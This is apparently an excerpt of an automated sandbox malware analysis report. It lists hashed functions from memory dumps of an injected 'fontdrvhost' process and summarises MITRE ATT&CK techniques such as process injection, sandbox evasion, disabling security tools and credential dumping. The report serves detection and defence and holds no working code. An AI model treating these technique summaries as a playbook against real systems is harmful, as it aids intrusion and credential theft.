Instruction Fuzzy Hash: 92019E70F0800B8BEB94DB84C8A06BE77F4EF42311F50423AD816D62D4EF7CA9018B80

Function 00007FFD34570C50 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12fa53eebf62ebb9da08bab2fa8fa9a1bf6be2d67744607018d438e98d78bcd7
Instruction ID: 25be8b421793c3fcf5439af6c6b0cbcb97ed828622bb42fcaa63083b8af0f540
Opcode Fuzzy Hash: 12fa53eebf62ebb9da08bab2fa8fa9a1bf6be2d67744607018d438e98d78bcd7
Instruction Fuzzy Hash: F0011A36E0D3899FEB12DB6888A419DBFF4AF03710F2481F6C545DB192DA3C9A459781

Function 00007FFD345747D6 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a3e1c098371154e84161bfe5def8e367da0d0abf3e15046623435b37b434a1b
Instruction ID: 0cdae73f5bab9c2155b600cdbedac05cb516690e0afb8329a42e5fb480b866ff
Opcode Fuzzy Hash: 1a3e1c098371154e84161bfe5def8e367da0d0abf3e15046623435b37b434a1b
Instruction Fuzzy Hash: 6CF09031E0C0298AEA95EB04DCA06B827D1EF57312F1081B9C98ED3192CE2CAC825640

Function 00007FFD345AAB89 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c1a47a211aa81d11debc4004e65e6c4a405662317bfc7976d8c88ae65d774db
Instruction ID: e84ae377883ee10978ec842898171f440330dc61bd2a2b09a979708df92b4df7
Opcode Fuzzy Hash: 9c1a47a211aa81d11debc4004e65e6c4a405662317bfc7976d8c88ae65d774db
Instruction Fuzzy Hash: 31F0E52174C7C40FC71A962958A54617FE1CB5B21134A02EFC186C72A3DD58EC868741

Function 00007FFD34584C20 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3e7b14d706b0bb96c290e7903d6db0490709abddbd41da37acc68952f82bbc0
Instruction ID: fb7a40e70f8753a3c209cc93e2e7044dc19f5ce4121d6551f20bf5530ad9e22c
Opcode Fuzzy Hash: c3e7b14d706b0bb96c290e7903d6db0490709abddbd41da37acc68952f82bbc0
Instruction Fuzzy Hash: 32F0A730F0C5174BE79A9B0898D06B53252FF47312B504175D95AC61C6FE3CE851A784

Function 00007FFD345899FA Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c02b5b1c0ab4d58290f94bb14484ca8233b52988eb2ada77a5152e019dc462b
Instruction ID: a4a5fa5edfe6b554b3fc2eece0b11b4b86f2fff3c40a13c834945034bc7cbc1c
Opcode Fuzzy Hash: 5c02b5b1c0ab4d58290f94bb14484ca8233b52988eb2ada77a5152e019dc462b
Instruction Fuzzy Hash: 81F01C31F0851A8BEB96EB04C8907A973A1EB15310FA142B6D90DD72D6DE3CAA459A80

Function 00007FFD3457393E Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fa61e1bc2d34c25b291fb6c8e3c7e53dd1c83a71e6d7df43dcb9f134149b047
Instruction ID: c093e20fc3fb4654b8bcd7176a39a1b2664a694557c0ee5e046c9e619eafbfa1
Opcode Fuzzy Hash: 0fa61e1bc2d34c25b291fb6c8e3c7e53dd1c83a71e6d7df43dcb9f134149b047
Instruction Fuzzy Hash: 28F01C71E0C0064BFB959654C8A0BAA7BA4EF96300F144079DA4ED33C2DD2CA9459709

Function 00007FFD34585658 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e3852c7be42877991b74dc0ef8482ab11ca37e0199196fea86171960c8f4743
Instruction ID: fa3c6fcb908f503eaa71f6d3a6831caeed5ff7896de27efa3535e4d052a6870d
Opcode Fuzzy Hash: 7e3852c7be42877991b74dc0ef8482ab11ca37e0199196fea86171960c8f4743
Instruction Fuzzy Hash: 0BD05E30B6090D4B8B5CA62D8468430B3D2E7AA2067D45278940BC2285ED29ECC68B80

Function 00007FFD34583F20 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FFD345AA660 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD345A7B29 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b28a44d14c23b5b8c8d4cc29608b605f119cb6621a96d23c971fb90ea208684
Instruction ID: eee7a385d1edd468184559823facdbaa59bef85dee06650cdfd412c50b64bc0d
Opcode Fuzzy Hash: 9b28a44d14c23b5b8c8d4cc29608b605f119cb6621a96d23c971fb90ea208684
Instruction Fuzzy Hash: B2E01A6294E7C04FC74B9B3488B98557FA0DE1721174A40EAC145CF5A3EA2D8849C702

Function 00007FFD345AA730 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD345ADB99 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 239da6a537d24acc307484f5cc3b2b6338bdbdac44191dc238e7287c5ad83cd8
Instruction ID: ca8ac11cf7797c79aa5a3169dd3ff37a5413c01e981f4fac38f17e7a6ec85984
Opcode Fuzzy Hash: 239da6a537d24acc307484f5cc3b2b6338bdbdac44191dc238e7287c5ad83cd8
Instruction Fuzzy Hash: F7E04F6154F3C04FC70B973588A98443F70DE5721074A40EBC145CF1B3D51D8849C711

Function 00007FFD345ADB19 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66d63cb6258d23d869a1ecd51ee20f904d4b52b984c1fb5e05bc21052b2dbbfc
Instruction ID: f63f545cecffa73b970a1da6809dccca5c0b4a72840bf943b5d219e37b24af89
Opcode Fuzzy Hash: 66d63cb6258d23d869a1ecd51ee20f904d4b52b984c1fb5e05bc21052b2dbbfc
Instruction Fuzzy Hash: 68E0466198F7C04FC70B9B3088A88543F709E6721178A40EBC185CF2B3EA2E8949C702

Function 00007FFD34570B95 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1655bf586bd510a0444da9578f040976055379fdba1b0be01a33af2343bf41be
Instruction ID: 131f8e6670127f12c57aa4973c076e6fc712adbd32214369c37ab35b822f7a12
Opcode Fuzzy Hash: 1655bf586bd510a0444da9578f040976055379fdba1b0be01a33af2343bf41be
Instruction Fuzzy Hash: 9BD0A73066C54A4FDA01B73CC8898547BA0EB0F214BD510F1D009C7561C5094C558B00

Function 00007FFD345A1FA0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD345A70C0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31d8b962ad8697e016be0419b8b3746812643610956d0d679795cb27cfcbcbb5
Instruction ID: 29ce565ffcc28a448b4899142a808b5d3f0115b61ecf817ccfe49f91169fb415
Opcode Fuzzy Hash: 31d8b962ad8697e016be0419b8b3746812643610956d0d679795cb27cfcbcbb5
Instruction Fuzzy Hash: 0ED01234B519044F871DA63888A98747391EB6A216B9550A9D10ACB3B1E96ADC89C741

Function 00007FFD345AB9E0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11f0e614b61dd8402b1f6cef3bf42be3e8dbf3004db8f484bdd3684dcb90d91b
Instruction ID: 6905f788ba68b15c66f2d4d848cf9fbc097d2f2c3ec125657350389146f74705
Opcode Fuzzy Hash: 11f0e614b61dd8402b1f6cef3bf42be3e8dbf3004db8f484bdd3684dcb90d91b
Instruction Fuzzy Hash: B1D02230B608040F870CBA3888A88303391EB6A20678000A8D00AC72B1DD2ADC8CCB40

Function 00007FFD34570CBF Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 623355c4c761995da0b65237a2ec80d23bbe5063140a0c10700039931d7a4e64
Instruction ID: 90755e1601f702b6e1c2031973e5eb8c9d7fc61b61d8cc93fb74160a23460c41
Opcode Fuzzy Hash: 623355c4c761995da0b65237a2ec80d23bbe5063140a0c10700039931d7a4e64
Instruction Fuzzy Hash: 71E01235F0D20ACBE701EB54C8D46ADBBA1EB52711F108275C501C7289DA7CA684D680

Function 00007FFD345706A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
Instruction ID: 9f47ba4d225661f7cd5f4b457ea6ce03474966435a6b8b488fbb797968966456
Opcode Fuzzy Hash: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
Instruction Fuzzy Hash: 09C04C06F5E51F01B417716E5CF60ADB9816BD7A64FD58172D70CD00C29C4D60D5A156

Function 00007FFD345712E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad9b737f9d3a71b5a47652e042b9bbfd47591b0a6598e927983330d6249448c
Instruction ID: a5f03278bbd3854106ccb8996a77adaed6fc78beeb62c6d1ce4d5daa04a8c300
Opcode Fuzzy Hash: 3ad9b737f9d3a71b5a47652e042b9bbfd47591b0a6598e927983330d6249448c
Instruction Fuzzy Hash: 3FC04C349558098FC948EB69CC9591477A0FB1A215BD601A0E409C7171E65ADCD5D741

Function 00007FFD345759C7 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d78488d99b53c3445f151f66e1b6215cb18ec765832eb3f50f29aa593328660
Instruction ID: 8443d3d041e6feb84766e5ca6502d51d806cefd3e9f9919f382fd14d06b2e1a3
Opcode Fuzzy Hash: 8d78488d99b53c3445f151f66e1b6215cb18ec765832eb3f50f29aa593328660
Instruction Fuzzy Hash: 2DC08C00F0C81B03F1262384443127D84066B40744F840074E00DE63C6CC1C9F0203C6

Function 00007FFD345706C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
Instruction ID: f47800afbfc2aa90f4ab12d7525e20c9578dc74f2022646a9a732b5480c9cf76
Opcode Fuzzy Hash: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
Instruction Fuzzy Hash: 9EB01200D5E40F00A405317B0CD20A4B8805B46104FC04070D60CC00C2984D10942242

Non-executed Functions

Function 00007FFD34580622 Relevance: 9.0, Strings: 7, Instructions: 300COMMON

Download Yara Rule

Strings

K_^$, xrefs: 00007FFD345806C2
#<K, xrefs: 00007FFD34580897
^+=, xrefs: 00007FFD3458078E
K_^:, xrefs: 00007FFD34580772
K_^1, xrefs: 00007FFD3458072A
K_^9, xrefs: 00007FFD3458076A
K_^%, xrefs: 00007FFD345806C9

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID: K_^$$K_^%$K_^1$K_^9$K_^:$^+=$#<K
API String ID: 0-1709254129
Opcode ID: 7109adf5e5455b1e7812a980ac01664e60d62356f358db5c7f9a2dcea8ace12b
Instruction ID: 995b21efe7e46eb287d7093c1fe4b4f8b2368d3b7a6be4b4fbbc354b75e79e9b
Opcode Fuzzy Hash: 7109adf5e5455b1e7812a980ac01664e60d62356f358db5c7f9a2dcea8ace12b
Instruction Fuzzy Hash: 0B71EA27B0D5262AEA2977ED78A20FF7708DF913797144777E28CA90A38D18F8C241D5

Function 00007FFD345806D3 Relevance: 9.0, Strings: 7, Instructions: 226COMMON

Download Yara Rule

Strings

K_^$, xrefs: 00007FFD345806C2
#<K, xrefs: 00007FFD34580897
^+=, xrefs: 00007FFD3458078E
K_^:, xrefs: 00007FFD34580772
K_^1, xrefs: 00007FFD3458072A
K_^9, xrefs: 00007FFD3458076A
K_^%, xrefs: 00007FFD345806C9

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID: K_^$$K_^%$K_^1$K_^9$K_^:$^+=$#<K
API String ID: 0-1709254129
Opcode ID: 826cad02e9df8558e1c57dd88811ffa8deb86860069927c8c8d2ac5b2457a08f
Instruction ID: 4242d5677f6bea317117dfd3a471e4a11946d0438cd8a874fd01739c3369dceb
Opcode Fuzzy Hash: 826cad02e9df8558e1c57dd88811ffa8deb86860069927c8c8d2ac5b2457a08f
Instruction Fuzzy Hash: 69516157B0C5262AE92937ED38A60FF6708DF61379B088777E10DA80A34D1CEC8241D9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

